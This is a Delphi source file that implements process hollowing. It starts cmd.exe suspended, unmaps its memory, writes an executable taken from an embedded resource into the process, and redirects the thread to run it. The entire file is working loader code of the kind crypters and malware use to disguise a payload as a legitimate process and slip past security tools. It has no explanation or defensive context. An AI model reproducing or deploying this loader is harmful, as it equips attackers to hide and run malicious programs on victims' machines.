program RunFromResurs;
uses
SysUtils, Windows, Classes;
{$R Resurs.RES}
type
PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
IMAGE_NT_HEADERS = packed record
Signature : DWORD;
FileHeader : IMAGE_FILE_HEADER;
OptionalHeader : IMAGE_OPTIONAL_HEADER;
end;
PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
IMAGE_SECTION_HEADER = packed record
Name : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;
PhysicalAddress : DWORD; // or VirtualSize (union);
VirtualAddress : DWORD;
SizeOfRawData : DWORD;
PointerToRawData : DWORD;
PointerToRelocations : DWORD;
PointerToLinenumbers : DWORD;
NumberOfRelocations : WORD;
NumberOfLinenumbers : WORD;
Characteristics : DWORD;
end;
PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
IMAGE_DOS_HEADER = packed record { DOS .EXE header }
e_magic : WORD; { Magic number }
e_cblp : WORD; { Bytes on last page of file }
e_cp : WORD; { Pages in file }
e_crlc : WORD; { Relocations }
e_cparhdr : WORD; { Size of header in paragraphs }
e_minalloc : WORD; { Minimum extra paragraphs needed }
e_maxalloc : WORD; { Maximum extra paragraphs needed }
e_ss : WORD; { Initial (relative) SS value }
e_sp : WORD; { Initial SP value }
e_csum : WORD; { Checksum }
e_ip : WORD; { Initial IP value }
e_cs : WORD; { Initial (relative) CS value }
e_lfarlc : WORD; { File address of relocation table }
e_ovno : WORD; { Overlay number }
e_res : packed array [0..3] of WORD; { Reserved words }
e_oemid : WORD; { OEM identifier (for e_oeminfo) }
e_oeminfo : WORD; { OEM information; e_oemid specific }
e_res2 : packed array [0..9] of WORD; { Reserved words }
e_lfanew : Longint; { File address of new exe header }
end;
function ZwUnmapViewOfSection(SectionHandle: THandle;
p: Pointer): DWord; stdcall; external 'ntdll.dll';
function protect(characteristics: ULONG): ULONG;
const mapping: array [0..7] of ULONG =
( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE);
begin
Result := mapping[characteristics shr 29];
end;
function RunFromResurs(ResName, ResType:string): Cardinal;
var
res:TResourceStream;
pi: TProcessInformation;
si: TStartupInfo;
x, p, q: Pointer;
nt: PIMAGE_NT_HEADERS;
context: TContext;
sect: PIMAGE_SECTION_HEADER;
i:Integer;
nb:Cardinal;
begin
si.cb := SizeOf(si);
ZeroMemory(@si, SizeOf(si));
CreateProcess(nil, PChar('cmd.exe'), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, si, pi);
context.ContextFlags := CONTEXT_INTEGER;
GetThreadContext(pi.hThread, context);
ReadProcessMemory(pi.hProcess, PChar(context.ebx) + 8, @x, sizeof (x), nb);
ZwUnmapViewOfSection(pi.hProcess, x);
res:=TResourceStream.Create(HINSTANCE, PChar(ResName), PChar(ResType));
try
p:=res.Memory;
if p = nil then exit;
nt := PIMAGE_NT_HEADERS(PCHAR(p) + PIMAGE_DOS_HEADER(p).e_lfanew);
q := VirtualAllocEx( pi.hProcess,
Pointer(nt.OptionalHeader.ImageBase),
nt.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, q, p, nt.OptionalHeader.SizeOfHeaders, nb);
sect := PIMAGE_SECTION_HEADER(nt);
Inc(PIMAGE_NT_HEADERS(sect));
for I := 0 to nt.FileHeader.NumberOfSections - 1 do
begin
WriteProcessMemory(pi.hProcess, PCHAR(q) + sect.VirtualAddress,
PCHAR(p) + sect.PointerToRawData, sect.SizeOfRawData, nb);
VirtualProtectEx( pi.hProcess, PCHAR(q) + sect.VirtualAddress,
sect.SizeOfRawData, protect(sect.Characteristics), @x);
Inc(sect);
end;
WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, @q, sizeof(q), nb);
context.Eax := ULONG(q) + nt.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, context);
ResumeThread(pi.hThread);
Result := pi.hProcess;
finally
res.Free;
end;
end;
begin
RunFromResurs('Test', 'EXEFILE');
end.